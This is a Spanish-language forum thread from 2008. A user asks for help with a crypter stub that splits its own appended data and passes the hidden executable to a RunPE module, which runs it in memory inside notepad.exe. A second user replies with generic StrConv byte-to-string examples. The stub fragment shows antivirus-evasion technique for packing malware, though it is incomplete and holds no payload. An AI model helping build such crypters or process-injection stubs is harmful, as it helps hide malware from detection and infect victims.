Problemas con un archivo...

Iniciado por aaronduran2, 17 Octubre 2008, 22:58 PM

0 Miembros y 1 Visitante están viendo este tema.

aaronduran2

Hola. Estoy utilizando el módulo de cobein mRunPE para ejecutar un archivo en memoria. Lo que hago es abrir el archivo y obtener los datos, que los guardo en una variable Byte. El problemas es que necesito hacer un split de los datos, ya que es el stub de un crypter, por lo que no soy capaz de hacerlo, y que luego pueda utilizar la función RunPE con el valor que yo desee del split. ¿Alguien me puede ayudar?

Gracias de antemano.

Karcrack

Creo que podrias usar esta funcion:
CitarStrConv()

Si necesitas un ejemplo de uso pidelo ;)

Saludos ;D

aaronduran2

#2
¿Podrías ponerme un ejemplo, Karcrack?
Muchas gracias.

EDITO: Utilizo esto actualmente en el stub.

Código (vb) [Seleccionar]
Sub Main()
    Dim b_Datos As Byte
    Dim v_Datos As Variant
    Open Ruta For Binary As #1
        Get #1, EOF(1), b_Datos
    Close #1
    'Ahora necesito hacer el split para separar el archivo original del stub.
    v_Datos = Split(b_Datos, "|-|-|")
    'Pero me da error.
    RunPE v_Datos(1), "notepad.exe"
End Sub

Karcrack

#3
Cita de: aaronduran2 en 17 Octubre 2008, 23:01 PM
¿Podrías ponerme un ejemplo, Karcrack?
Muchas gracias.
Por supuesto :D:

Código (vb) [Seleccionar]
    Dim sCadena     As String
    Dim bArray()    As Byte
    Dim bArray2()   As Byte

    sCadena = "Ejemplo de uso de StrConv Por Karcrack"
   
    'Pasamos la Array a Cadena
    'sCadena = StrConv(bArray, vbUnicode)
    'Modificamos la cadena
    sCadena = UCase$(sCadena)
    'Pasamos la Cadena a Array
    bArray2 = StrConv(sCadena, vbFromUnicode)



Código (vb) [Seleccionar]
    Dim sCadena     As String
    Dim bArray()    As Byte
    Dim bArray2()   As Byte
   
    Open "C:\Texto.txt" For Binary As #1
        ReDim bArray(0 To LOF(1) - 1)
        Get #1, , bArray
    Close #1
   
    'Pasamos la Array a Cadena
    sCadena = StrConv(bArray, vbUnicode)
    'Modificamos la cadena
    sCadena = Left$(sCadena, 5)
    'Pasamos la Cadena a Array
    bArray2 = StrConv(sCadena, vbFromUnicode)

Si no lo entiendes ya sabes ;)

Saludos :D

aaronduran2

Ya está, gracias por los ejemplos, Karcrack.

Saludos.